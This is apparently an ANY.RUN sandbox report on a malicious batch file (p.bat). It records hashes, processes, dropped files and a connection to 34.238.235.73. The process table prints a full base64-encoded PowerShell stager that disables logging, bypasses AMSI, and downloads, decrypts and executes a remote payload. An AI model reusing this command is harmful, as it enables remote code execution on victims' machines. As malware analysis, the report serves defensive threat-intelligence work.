analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| File name: | p.bat |
| Full analysis: | https://app.any.run/tasks/25425d39-b351-40b2-a211-8a8249d82fde |
| Verdict: | Malicious activity |
| Analysis date: | April 25, 2019, 18:38:15 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines, with no line terminators |
| MD5: | 38A3FEA7F4E92FE22D9BC95BAA76EB78 |
| SHA1: | 5125758B076AD277A6BB2B387693E07CBEAF1DB9 |
| SHA256: | 4B72469EB6AE43CC44573C92D37FD5F690DF07F39B72382C6F0248C5BD54F638 |
| SSDEEP: | 96:9nrNIFrd4mZ1AA0LleilXrSRt6qgVXe4EsbAW+Gi+vYl3q9ZTJt:Bw+AaXktCVXxDi4c3q9VL |
MALICIOUS
Executes PowerShell scripts
- cmd.exe (PID: 1784)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 2356)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
34
Monitored processes
2
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 1784 | cmd /c ""C:\Users\admin\AppData\Local\Temp\p.bat" " | C:\Windows\system32\cmd.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2356 | powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBlAHIAcwBJAE8ATgBUAEEAQgBMAGUALgBQAFMAVgBFAFIAUwBJAE8ATgAuAE0AYQBqAG8AcgAgAC0AZwBFACAAMwApAHsAJABHAFAARgA9AFsAUgBlAEYAXQAuAEEAUwBzAEUATQBCAGwAWQAuAEcARQBUAFQAWQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAGUAVABGAGkAZQBgAEwARAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJABHAFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAGUAVABWAGEATAB1AGUAKAAkAE4AdQBMAGwAKQA7AEkARgAoACQARwBQAEMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQA9ADAAfQAkAFYAQQBsAD0AWwBDAE8ATABMAEUAQwBUAEkAbwBuAHMALgBHAEUATgBlAHIAaQBDAC4ARABJAGMAVABJAE8ATgBBAFIAeQBbAHMAVABSAEkAbgBnACwAUwB5AHMAdABFAG0ALgBPAGIAagBlAGMAVABdAF0AOgA6AG4ARQB3ACgAKQA7ACQAdgBBAEwALgBBAEQARAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQAVgBhAEwALgBBAGQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJABHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AJAB2AGEAbAB9AEUATABzAEUAewBbAFMAQwBSAEkAcABUAEIATABvAGMAawBdAC4AIgBHAEUAdABGAGkARQBgAGwARAAiACgAJwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBFAHQAVgBBAEwAVQBFACgAJABOAHUATABsACwAKABOAGUAdwAtAE8AYgBqAEUAYwB0ACAAQwBPAGwAbABFAGMAVABpAG8ATgBzAC4ARwBFAE4AZQBSAEkAQwAuAEgAYQBzAGgAUwBFAFQAWwBTAHQAcgBJAE4ARwBdACkAKQB9AFsAUgBFAEYAXQAuAEEAUwBTAEUAbQBCAEwAWQAuAEcARQBUAFQAWQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJABfAH0AfAAlAHsAJABfAC4ARwBlAHQARgBpAEUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAVABWAGEAbAB1AEUAKAAkAE4AdQBsAGwALAAkAHQAUgBVAEUAKQB9ADsAfQA7AFsAUwB5AHMAdABFAG0ALgBOAGUAdAAuAFMAZQBSAHYAaQBjAGUAUABvAGkATgBUAE0AYQBOAEEAZwBFAFIAXQA6ADoARQBYAHAAZQBjAHQAMQAwADAAQwBvAG4AVABJAE4AdQBFAD0AMAA7ACQAVwBDAD0ATgBlAHcALQBPAGIASgBlAGMAVAAgAFMAeQBzAHQARQBNAC4ATgBFAFQALgBXAEUAQgBDAEwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHcAQwAuAEgAZQBhAGQARQByAFMALgBBAEQARAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAQwAuAFAAUgBPAFgAeQA9AFsAUwBZAHMAVABlAG0ALgBOAGUAdAAuAFcARQBCAFIARQBRAHUAZQBTAHQAXQA6ADoARABFAGYAQQBVAEwAVABXAGUAQgBQAHIAbwBYAHkAOwAkAHcAQwAuAFAAUgBPAHgAWQAuAEMAUgBFAGQARQBOAHQAaQBBAGwAUwAgAD0AIABbAFMAeQBzAHQARQBtAC4ATgBFAHQALgBDAHIAZQBkAGUATgB0AEkAQQBsAEMAYQBjAEgARQBdADoAOgBEAEUAZgBBAFUATAB0AE4AZQBUAFcAbwBSAGsAQwBSAEUARABlAE4AVABJAGEAbABTADsAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgAeQA7ACQASwA9AFsAUwB5AHMAVABFAE0ALgBUAEUAeAB0AC4ARQBOAGMATwBEAEkATgBHAF0AOgA6AEEAUwBDAEkASQAuAEcARQB0AEIAeQBUAGUAUwAoACcARgBLADwAaQB0ACgAewBEAH4AcAByAHEAZQBCACkAdQBFAE8AUwBzAFIAOQBoADgAbABtAHcANgAsACYAQAA0ACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIAZwBzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAFUATgB0AF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAWABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAHIAPQAnAGgAdAB0AHAAOgAvAC8AMwA0AC4AMgAzADgALgAyADMANQAuADcAMwA6ADgAMAAnADsAJAB0AD0AJwAvAG4AZQB3AHMALgBwAGgAcAAnADsAJABXAEMALgBIAGUAQQBEAEUAcgBTAC4AQQBEAEQAKAAiAEMAbwBvAGsAaQBlACIALAAiAHMAZQBzAHMAaQBvAG4APQA1AHoANABBAFYAdwBvADIAegBrAEEAZwBEAHAASgA1AEMAWABpAFYATgBTAHYAMQBFAHcAVQA9ACIAKQA7ACQAZABBAFQAYQA9ACQAVwBDAC4ARABPAFcAbgBsAG8AQQBEAEQAYQB0AGEAKAAkAFMAZQBSACsAJAB0ACkAOwAkAGkAVgA9ACQAZABBAHQAYQBbADAALgAuADMAXQA7ACQAZABBAFQAQQA9ACQARABhAHQAYQBbADQALgAuACQAZABhAFQAQQAuAGwARQBOAGcAdABoAF0AOwAtAGoATwBpAG4AWwBDAEgAYQBSAFsAXQBdACgAJgAgACQAUgAgACQAZABBAFQAYQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
205
Read events
138
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
2
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2356 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HJAYRFBCXYCDL2427CMR.temp | — | |
MD5:— | SHA256:— | |||
| 2356 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFe5aae.TMP | binary | |
MD5:131DC75F6D4142CA9244945A91A71E8D | SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4 | |||
| 2356 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:131DC75F6D4142CA9244945A91A71E8D | SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
0
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2356 | powershell.exe | GET | — | 34.238.235.73:80 | http://34.238.235.73/news.php | US | — | — | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2356 | powershell.exe | 34.238.235.73:80 | — | Amazon.com, Inc. | US | malicious |